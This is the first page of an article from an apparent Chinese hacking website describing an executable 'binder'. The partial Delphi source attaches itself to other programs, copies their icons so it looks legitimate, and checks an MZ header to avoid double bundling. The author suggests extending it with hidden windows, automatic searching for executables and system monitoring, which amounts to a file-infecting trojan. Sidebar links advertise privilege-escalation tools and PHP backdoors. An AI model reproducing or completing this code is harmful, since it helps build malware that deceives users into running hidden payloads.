黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客入门 >> 电脑新手 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]捆绑执行文件新思维
      ★★★★

捆绑执行文件新思维

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-8-26 11:47:43

最新功能:与其它程序捆绑后,图标为其它程序的图标 
这个示范程序没有form,编译、压缩后仅40K,运行后不长驻内存 
如果加上隐藏的窗体,加上搜索可执行程序的功能,加上监视系统的功能,加上 %$#@*^ 功能... 

程序中几个数字的确定: 
1 在本程序编译后用Aspack.Exe压缩,大小为41472 
2 经过分析,本程序在用Aspack.Exe压缩后,图标前面部分长40751,图标数据 
位于从第40752字节开始共640字节,图标后还有81字节 

与其它程序捆绑的过程: 
本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部 

怎么找到图标的位置: 
将程序的图标设定为一个32*32的红色块,在程序经过编译、压缩后,用十六进制 
编辑软件载入,查找“99 99 99”字符串即可。以后你可为程序加上其它合适的图标。 
十六进制编辑软件:常用UltraEdit。 
本人嫌它有日期限制,自编了一个,有十六进制编辑、比较、查找功能,并在不断完善中,对付几百K的文件没问题: 
http://guanbh.top263.net/download/hexedit.exe 

program exe2; 

uses 
classes, 
Tlhelp32, 
windows, 
graphics, 
ShellAPI, 
SysUtils; 

{$R *.RES} 

var 
lppe:TProcessEntry32; 
found:boolean; 
handle:THandle; 
ProcessStr,ExeName:string; 
WinDir:pchar; 
const 
MySize=41472; {!!这个值要根据编译或压缩后的文件大小进行修改!!} 

procedure copy2(s:string); 
var 
s1,s2,IcoStream:TMemoryStream; 
File2:TFilestream; 
ch:array[0..1] of char; 
ss:string; 
filetime,fhandle:integer; 
l:integer; 
File2Icon:Ticon; 
begin 
{若文件s不存在} 
if FileExists(s)=False then exit; 
try 
{若文件不含图标,就不捆绑} 
File2Icon:=Ticon.Create; 
l:=extracticon(handle,pchar(s),0); 
if l=0 then 
begin 
File2Icon.Free; 
exit; 
end 
else 
begin 
{提取被捆绑程序图标} 
File2Icon.Handle:=extracticon(handle,pchar(s),0); 
IcoStream:=TMemoryStream.Create; 
File2Icon.SaveToStream(IcoStream); 
File2Icon.Free; 
end; 
{判断文件s中有没有第2个程序头'MZ'。若有,表示已经合并过} 
File2:=TFilestream.Create(s,fmopenread); 
if File2.Size>MySize then 
begin 
File2.Position:=MySize; 
File2.Read(ch,2); 
ss:=copy(ch,1,2); 
if ss='MZ' then 
begin 
File2.Free; 
exit; 
end; 
end; 
File2.Free; 

[1] [2] 下一页

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886